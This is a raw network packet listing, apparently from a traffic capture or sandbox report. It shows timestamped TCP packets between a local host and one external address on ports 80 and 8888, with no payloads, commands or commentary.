Jan 16, 2025 09:17:01.398150921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.398176908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398211002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398221016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.398246050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398278952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398288012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.398313999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398350000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398355961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.398437023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398469925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398483038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.398505926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398539066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398547888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.398575068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398611069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398616076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.398788929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398833990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.398839951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398875952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398909092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398915052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.398942947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398977041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.398989916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.399012089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.399044037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.399049997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.399076939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.399111986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.399122953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.399146080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.399179935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.399194002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.399214983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.399247885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.399260044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.399282932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.399334908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.399343967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.399383068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.399419069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.399426937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.399549007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.399593115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.409416914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.409507990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.409518957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.409533978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.409545898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.409559011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.409571886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.409600973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.409638882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.409734964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.409748077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.409759045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.409778118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.409790993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.409797907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.409804106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.409818888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.409830093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.409856081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.410013914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.410026073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.410038948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.410049915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.410062075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.410218000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.410254002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.410295010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.410337925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.421708107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.434725046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.434760094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.434783936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.434812069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.434864044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.434864044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.434897900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.434930086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.434935093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.434964895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.434998035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.435005903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.435031891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.435065985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.435071945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.444386005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.444453001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.444454908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.444490910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.444523096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.444530964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.444559097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.444591999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.444600105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.444627047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.444672108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.459842920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.459861994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.459891081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.459904909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.459918976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.459925890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.459933996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.459948063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.459954977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.459961891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.459978104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.459991932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.460004091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.460033894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.460038900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.460067034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.460074902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.460109949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.460119009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.460150003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.460230112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.484373093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.484419107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.484472036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.484484911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.484502077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.484515905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.484545946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.484555006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.484596014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.484620094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.484627962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.484663010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.484675884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.484697104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.484738111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.484747887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.484781027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.484814882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.484827995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.484874964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.484921932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.484926939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.484960079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.484993935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485003948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.485030890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485066891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485069990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.485112906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485151052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.485158920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485193014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485225916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485241890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.485260963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485305071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.485409975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485439062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485471964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485480070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.485522032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485555887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485568047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.485589027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485624075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485635996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.485657930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485688925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485702038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.485723019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485755920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485764980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.485790014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485822916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485835075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.485873938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485907078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485915899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.485943079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.485991955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.485999107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486051083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486103058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486116886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.486155033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486185074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486200094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.486237049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486270905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486279964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.486304998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486340046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486346006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.486372948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486409903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486421108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.486442089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486475945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486485958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.486510038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486545086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486557961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.486593008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486629009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486634970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.486674070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486712933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486720085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.486725092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486758947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486782074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.486792088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486824989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486833096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.486859083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.486901045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.497000933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497052908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497087955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497102022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.497121096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497155905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497164011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.497205973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497239113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497250080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.497288942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497332096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.497340918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497370958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497404099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497415066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.497437000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497479916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.497487068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497522116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497556925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497565985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.497618914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497652054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497661114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.497689009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497719049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497725964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.497770071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497817039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497823954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497831106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.497834921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497859001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.497868061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.497909069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.499881983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.522454977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.522491932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.522525072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.522552013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.522558928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.522593975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.522614002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.522627115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.522660971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.522667885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.522695065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.522736073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.531979084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.532010078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.532043934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.532078981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.532089949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.532114029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.532135963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.532147884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.532181978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.532191992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.532216072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.532258987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.547388077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.547447920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.547483921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.547511101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.547518015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.547554016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.547583103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.547586918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.547621965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.547641993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.547653913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.547687054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.547700882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.547719955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.547775030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.547780037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.547807932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.547847986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.547856092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.547883987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.547945976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.571858883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.571906090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.571949959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.571974993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.571986914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.572021008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.572026014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.572057962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.572092056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.572096109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.572144032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.572177887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.572191000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.572212934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.572246075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.572268963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.572280884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.572318077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.572324991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.572354078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.572386980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.572390079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.572424889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.572458029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.572460890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.572511911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.572549105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:02.035394907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:02.043364048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:02.208997011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:02.682188034 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:02.687228918 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:02.687383890 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:02.687685013 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:02.692440033 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:03.524384022 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:03.564280033 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:05.046964884 CET	49705	8888	192.168.2.5	193.143.1.205
